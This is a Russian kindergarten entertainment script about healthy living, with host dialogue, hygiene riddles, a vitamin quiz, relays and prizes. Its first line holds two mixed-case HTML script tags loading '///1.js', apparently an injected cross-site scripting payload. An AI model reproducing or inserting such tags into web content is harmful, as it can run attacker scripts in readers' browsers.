<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

24.01.2018

Сценарий  развлечения

«Здоровый ребенок – в детском саду и в семье »

Цель :

1 Приобщить детей к семейным ценностям и традициям,  сохранить и укрепить здоровье детей, обеспечить их гармоничное развитие.

2.Пропагандировать здоровый образ жизни, способствовать   приобщению родителей к физкультуре и спорту;

3. Доставить детям и родителям удовольствие от совместных занятий физкультурой, способствовать развитию положительных эмоций, чувства взаимопомощи;

4. Умения и навыки воспитанников в процессе сотрудничества с родителями;

5 Умение взаимодействовать друг с другом;                                                                

6. Умение оказания взаимопомощи, поддержки  в решении основных задач в достижении общей цели;

7. Умение сопереживать;

8.Навыки партнёрского общения.     

 Подготовка к празднику:           

Вручение приглашений родителям и сотрудникам детского сада , эмблем для команд, дипломов, медалей   "Самому сильному","Самому активному","Самому находчивому",составление приветствий команд.

Участники: В соревнованиях принимают участие родители ,сотрудники  и дети  детского сада.

Ход праздника:

 Под музыку  участники входят в зал.

 Ведущий:

              - Добрый день, всем,всем,всем!    

Начинаем наши соревнования!

Будут игры, будет смех

И веселые забавы приготовлены для всех.

- Предлагаю всем отправиться в чудные города   Спортленд и Здоровия

- Возьмите с собой быстроту и смелость,  находчивость и смекалку. Сегодня в соревнованиях принимают участие две команды

Поприветствуем их: участники под аплодисменты заходят в зал.

 Команда : « Улыбка »

 Команда : « Жұлдыздар »

Ведущий: А теперь представляю Вам наше жюри, которое будет внимательно следить за успехами наших команд.

-А для того, чтобы всегда быть такими нужно вести здоровый образ жизни. Как это правильно делать мы с вами узнаем, отправившись в путешествие по сказочной стране Здоровии. Перед началом путешествия давайте подарим друг другу хорошее настроение, Предлагает участникам пожелать друг другу теплые слова

 Незнайка :

-Ой,  а куда я попал?.
Воспитатель; А ты  попал в страну Здоровие .Может тебе с нами будет неинтересно

 ( разглядывает Незнайку со всех сторон, качает головой).

-        Да уж, может быть и неинтересно, но очень полезно.

Воспитатель:

-А вот и первая улица , который попался на нашем пути , называется улица Чистоты, а жителей этого города зовут Чистюли.
(Появляется Чистюля - опрятно одетый мальчик с небольшим чемоданчиком в руках).
Чистюля: Здравствуйте, ребята!
Воспитатель: Здравствуй, мы  хотели бы знать, что такое чистота и для чего она нужна ?
Незнайка. Ой-ой-ой, город Чистоты! Ой-ой-ой, Чистюли! А я и так хорош, без всякой вашей чистоты

(поправляет рукой взлохмаченные волосы, вытирает рукавом нос).

Воспитатель:

- Ну Незнайка дай ты нам ответ на этот вопрос  (Незанайка затрудняется с ответом).
1  тур : «Чистота-залог здоровья».

«Что такое чистота ,какая она бывает и для чего она нужна?» ( участники   ответ в течений трех минут)

-Ну что же, слушайте. Мне и моим друзьям беречь наше здоровье помогают предметы, которые лежат в моём чемоданчике.

А что там лежит, вы должны отгадать сами:

Познакомиться готов?

Я бываю всех цветов.

Ручки моешь? Очень мило,

Значит, пригодиться...(Мыло)

Костяная спинка,

Жёсткая щетинка,

С мятной пастой дружит

И усердно служит (зубная щётка).

И махровое, и гладкое бывает.

Кто помылся, тот о нем не забывает:

Взрослого, младенца

Вытрет... (полотенце)

Если волосы запутал –

Я могу за три минуты

Расчесать их – без вопросов!

А потом – плетите косы,

Делайте хвосты, причёски –

Всё благодаря … (расчёске)!

Хлюпает ли мокрый нос,

Иль из глаз потоки слез, —

Выручит нас лоскуток —

Это носовой... (платок)

( После каждого правильного ответа детей Незнайка  достаёт предметы-отгадки из своего чемоданчика и демонстрирует их детям).
Незнайка. А ну-ка дай мне на минуточку твой чемоданчик (уходит из зала, появляется через минуту: расчёсан, с чистыми руками, из кармана выглядывает носовой платок).
Воспитатель. Ой, Незнайка, да тебя не узнать. Ребята, посмотрите, что произошло с Незнайкой? 

(расчесался, помыл руки, пользуется носовым платком).
Воспитатель:.
-А вот и ещё одна улица  Здоровии –  Полезной еды. Жителей этого города зовут Витаминчики. Яблоко  и Клубничка
(Появляется Витаминчик, в руках держит корзину с полезными продуктами или их иллюстрациями)
Незнайка. Ой, подумаешь-научат… И стоило из-за этого ехать в какую-то сказочную страну!
Витаминчики  Клучбничка  и Яблоко ( хмурится, укоризненно качает головой):
Овощи и фрукты - полезные продукты
Поднимут твой иммунитет
Витаминам, всем привет

2 тур:  «Витамины полезные всегда –ура, ура,ура!»

Участникикоманд  должны обьяснить где содержатся витамины ,сказать буквенное обозначение  и чем они полезны.

Витамин А. Очень важен для зрения и для кожи. Витамина А много в моркови, рябине, абрикосах и чернике.
Витамин В. Помогает нам расти, быть сильными, очень важен для работы сердца, чтобы оно хорошо работало. Витамина В много в черном хлебе, геркулесе, орехах, зеленом горошке и мясе.
Витамин С. Укрепляет наш организм , помогает бороться с простудами, восстанавливает силы после болезни и травм. Витамина С много в апельсинах, лимонах, шиповнике и петрушке.
Витамин Д. Его называют витамином роста, делает наши кости, ноги, руки крепкими, укрепляет зубы. Витамина Д много в рыбе, молоке, сыре и яйцах.
Витамин Е. Укрепляет клетки организма, замедляет старение. Много витамина Е содержится в орехах, семечках,

кукурузе, растительном масле.
Витамин К. Нужен для того, что когда мы поранимся ранка быстро заживет и покроется корочкой. Много витамина К в помидорах, капусте, грушах, петрушке.
Входит в зал Незнайка с корзиной полной еды (чипсы,кока- кола, сухарики, картошка, морковка,

яблочко, лимон, груша, молоко, лук)

Задание командам :

Разобрать корзину на полезную и неполезную еду  и обьяснить ребенку - участнику  о полезности и не полезности. Побеждает та команда кто больше приведет аргументы и причины.

Воспитатель:

-Спасибо Вам большое, Витаминчики, я думаю и ребята, и Незнайка запомнили в каких продуктах какие витамины содержаться. А наше путешествие на этом окончено.

Ведущая:

-На ваших лицах улыбка, у всех прекрасное настроениеа это значит, что мы начинаем спортивное развлечение! Незнайка :
- Я ничего не умеею, научите нас.

Я  тоже хочу быть  -  Противным! ОЙ!  Нет - СПОРТИВНЫМИ.

Зарядка? Что это? Вкусно?

Пирожки с капустой?

Компот или кисель?

Люблю я все, поверь!

  3 Тур : «Спорт- помощник! Спорт – здоровье!»

1. ЭСТАФЕТА.     «Дворники»

Дети и родители по одному берут в руки метлы. Каждый по очереди подметает метлой воздушный шар до 

стойки и обратно.

4 тур : Домашнее задание  «Спортивный инвентарь свойми руками»  

Обьясняют и показывают для чего нужен данный инвентарь

Ведущий. Подходит к концу наш спортивный досуг. Попрошу жюри огласить результаты.

Жюри оглашает итоги соревнований. Награждение команд. Вручение призов.